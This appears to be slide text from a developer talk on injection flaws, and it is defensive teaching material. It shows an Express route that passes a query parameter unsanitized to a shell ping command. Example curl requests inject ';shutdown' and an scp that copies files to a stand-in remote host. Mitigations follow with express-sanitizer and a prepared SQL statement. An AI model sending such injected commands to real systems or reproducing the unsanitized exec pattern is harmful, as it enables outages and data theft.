Rajesh Sundaram
Mini App Developer
...
// check website availability
app.get('/', async (req, res) {
await child_process.exec(
'ping ' + req.query.domain);
...
})
...
curl http://www.ping.com/?domain=google.com
curl http://www.ping.com/?domain=;shutdown
curl http://www.ping.com/?domain=;scp%20-r%20.%20root@315.32.2.1:/home
// Mount express-sanitizer middleware here
app.use(expressSanitizer());
app.post('/', function(req, res, next) {
// replace an HTTP posted body property with the sanitized string
const sanitizedString = req.sanitize(req.body.propertyToSanitize);
res.send({ sanitized: sanitizedString });
});
String sql = "SELECT STUDENT FROM SCHOOL WHERE SCHOOL LIKE ? ";
PreparedStatement prepStmt = conn.prepareStatement(sql);
prepStmt.setString(1, "Waterloo%");
ResultSet rs = prepStmt.executeQuery();
“Technology trust
is a good thing
but control
is better one”
- Stephane Nappo